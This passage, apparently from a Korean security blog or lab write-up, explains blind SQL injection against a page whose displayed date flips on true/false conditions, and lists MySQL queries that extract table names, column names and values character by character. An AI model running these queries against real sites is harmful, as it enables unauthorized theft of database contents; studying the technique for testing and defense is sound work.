거짓일 경우는 "2070-01-01 09:00:00"으로 변한 것을 확인 할 수 있었습니다.
참과 거짓으로 페이지의 변화가 일어나기 때문에 Blind Injection을 시행할 수 있습니다.
하나하나 모든 쿼리를 다 대입해볼 수 없기 때문에 파이썬을 이용하여 Blind SQL Injection 소스코드를 만들었습니다.
mysql 기준으로 쿼리를 간단히 살펴보면 아래와 같습니다.
[현재 위치한 DB의 테이블 수 검색]
select count(table_name) from information_schema.tables where table_schema=database()
[첫번째 테이블 명의 길이 검색]
select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1
[첫번재 테이블 명의 한글자를 검색]
select ascii(substring(table_name,1,1 )) from information_schema.tables where table_schema=database() limit 0, 1
[해당테이블의 컬럼 개수 검색]
select count(column_name) from information_schema.columns where table_name="테이블명"
[해당 테이블의 컬럼 글자수 검색]
select length(column_name) from information_schema.columns where table_name="테이블명"
[해당 테이블의 컬럼명의 첫번째 한글자 검색]
select ascii(substring(column_name,1,1)) from information_schema.columns where table_name="테이블명"
[해당 테이블의 있는 컬럼 길이 검색]
select length(컬럼)from 테이블명
[해당 테이블의 컬럼에 해당하는 값 검색]
select ascii(substring(컬럼,1,1)) from 테이블명
제가 짠 파이썬코드는 엄청난 노가다로 만들었습니다... ㅋㅋㅋ